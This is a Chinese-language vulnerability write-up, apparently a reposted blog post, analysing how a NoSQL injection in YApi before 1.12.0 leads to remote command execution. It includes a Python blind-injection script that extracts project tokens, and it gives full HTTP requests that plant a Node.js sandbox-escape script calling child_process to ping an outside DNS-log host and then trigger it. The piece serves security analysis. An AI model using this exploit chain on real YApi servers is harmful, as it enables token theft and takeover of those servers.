0x00 前提
這個是前幾個月的漏洞,之前爆出來發(fā)現(xiàn)沒人分析就看了一下,也寫了一片 Nosql注入的文章,最近生病在家,把這個寫一半的完善一下發(fā)出來吧。
0x01 介紹
YApi是一個可本地部署的、打通前后端及QA的、可視化的接口管理平臺。
YApi 是高效、易用、功能強(qiáng)大的 api 管理平臺,旨在為開發(fā)、產(chǎn)品、測試人員提供更優(yōu)雅的接口管理服務(wù)??梢詭椭_發(fā)者輕松創(chuàng)建、發(fā)布、維護(hù) API,YApi 還為用戶提供了優(yōu)秀的交互體驗,開發(fā)人員只需利用平臺提供的接口數(shù)據(jù)寫入工具以及簡單的點擊操作就可以實現(xiàn)接口的管理。在其1.12.0版本之前,存在一處NoSQL注入漏洞,通過該漏洞攻擊者可以竊取項目Token,并利用這個Token執(zhí)行任意Mock腳本,獲取服務(wù)器權(quán)限。
[YMFE/yapi: YApi 是一個可本地部署的、打通前后端及QA的、可視化的接口管理平臺 (github.com)]
https://github.com/YMFE/yapi
當(dāng)時年底爆出來的從未授權(quán)注入到rce的利用,就是從一個buffix出來的,就是下面這個鏈接
參考鏈接:
- https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c
Bugfix 2022 11 01 (#2628)
* fix: 修復(fù)【Mongo 注入獲取 token】的問題 * chore: up version * chore: 關(guān)閉 Pre-request Script 和 Pre-response Script v1.11.0 之后 如下腳本功能關(guān)閉,如需打開,請聯(lián)系管理員添加. 在 db, mail 同級配置 scriptEnable: true, 并重啟服務(wù) 即可 Co-authored-by: ariesly <ariesly@arieslymac13.local>
0x02 環(huán)境
當(dāng)時自己搭建的環(huán)境,起一個docker 的 mongo,本地起一個yapi
自己手動搭建, 注意要自己下載帶漏洞的版本
mkdir yapi cd yapi git clone https://github.com/YMFE/yapi.git vendors //或者下載 zip 包解壓到 vendors 目錄(clone 整個倉庫大概 140+ M,可以通過 `git clone --depth=1 https://github.com/YMFE/yapi.git vendors` 命令減少,大概 10+ M) cp vendors/config_example.json ./config.json //復(fù)制完成后請修改相關(guān)配置 cd vendors yapi server 訪問 在瀏覽器打開 http://0.0.0.0:9090 訪問。非本地服務(wù)器,請將 0.0.0.0 替換成指定的域名或ip
其實也可以直接調(diào)試P師傅的環(huán)境,也是十分方便的,因為自己裝確實有好幾個bug,卡了半天。
0x03 漏洞分析
首先看到是補(bǔ)丁,補(bǔ)丁感覺修復(fù)的東西就幾行,重要的就這個?
加了一行判斷,要token為string
問題來了,正常應(yīng)用的話,token難道不都是String嗎?這個其實我一開始也沒看明白
但是我們了解 Nosql注入之后,就知道是哪一種情況,基本上就傳入了一個數(shù)組導(dǎo)致的問題
而且也定位了 token 這個參數(shù)出現(xiàn)了問題,那先把注入搞定
0x04 注入
直接打斷點,然后看一下路由,哪些路由回到這邊
而且這中文注釋,很清楚了吧,haiy
最后跟到getProjectIdByToken里面,最后是一個mango 的sql查詢了
這里其實看似是沒有問題的,因為是一個預(yù)編譯的情況
但是這里是 mongo注入的經(jīng)典情況,可以傳入一個數(shù)組 , 就可以構(gòu)成一個注入了
0x05 如何傳入一個數(shù)組
直接構(gòu)造一下試一下
GET /api/project/get?token={"token":{"$regex":"^1"}} HTTP/1.1
答案顯然是不行的
這里yapi用的是一個叫 koa web的通用web框架,
那么利用 koa web框架 中會解析 json格式,轉(zhuǎn)化為一個數(shù)組
我們主要需要 Content-Type: application/json
就可以解析json轉(zhuǎn)化為數(shù)組,最終成為成功傳入數(shù)組
0x06 注入判斷
正確的情況:
錯誤的情況:
那么就是一個標(biāo)準(zhǔn)的盲注情況,寫個poc
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
target = 'http://127.0.0.1:3333/api/plugin/export'
token = ''
json_data = {
"token": {
"$regex":"^"+token
}
}
while True:
for word in string.printable:
if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:
json_data = {
"token": {
"$regex": "^" + token+word
}
}
r = requests.get(url=target,json=json_data, )
# print(r.text)
if 'html' in r.text:
print("Found one more char : %s" % (token+word))
token += word
0x07 Token轉(zhuǎn)換
因為我們發(fā)現(xiàn)我, 注入出來的這個token不對的
明顯和真實的token長度都不一樣嗎
那么應(yīng)該還有一個轉(zhuǎn)化的步驟,當(dāng)傳遞過來的token后,會先進(jìn)行一次aseDecode方法
隨后獲取到正確的uid 才能正常后續(xù)的操作。
如果解密失敗,就會默認(rèn)給一個99999,就是沒權(quán)限。
那么我們先解決第一個解密的問題,還是一個硬編碼 abcde
所以就來一個對應(yīng)的加密腳本
0x08 RCE的原理
那肯定是要利用這個token來做文章了
那么他可以做什么? 明顯要看一下運行自動化測試這個東西
看了一下,只是運行一個項目,需要一個 id 的參數(shù),那這個應(yīng)該是最后觸發(fā)的條件。
然后發(fā)現(xiàn)這里可以加入腳步
測試一下,可以正常觸發(fā)
可以利用
那么rce的利用流程大概就是這幾步
1.注入獲取token
2.添加任意測試用例
3.修改項目Pre-response Script腳本
4.調(diào)用/api/open/run_auto_test,
5.完成RCE。
0x09 爆破一下
那么現(xiàn)在就是一個要往里面設(shè)置payload,
就是要獲得這個項目ID,其實還需要用戶ID
但是好處是這兩個ID都是小數(shù),可以直接爆破
爆破項目project_id,可以用這個接口,也有其他接口
http://127.0.0.1:3000/api/project/get?id=1&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1
這個接口上傳腳本
POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
id=66&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping 6666.rwzdkn.dnslog.cn')
最后,運行腳本,觸發(fā)命令執(zhí)行,結(jié)束
GET /api/open/run_auto_test HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 88
{
"id":"66","token":"fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1"}
0x10 總結(jié)
其實RCE這個問題,屬于后臺利用吧,是nodejs的vm模塊出現(xiàn)的問題文章來源:http://www.zghlxwxcb.cn/news/detail-423715.html
主要還是在于項目的 token可以被注入出來,那么就可以任意操作項目了,那存在這種可以執(zhí)行腳本的模塊也是文章來源地址http://www.zghlxwxcb.cn/news/detail-423715.html
到了這里,關(guān)于YApi分析從NoSQL注入到RCE遠(yuǎn)程命令執(zhí)行.md的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!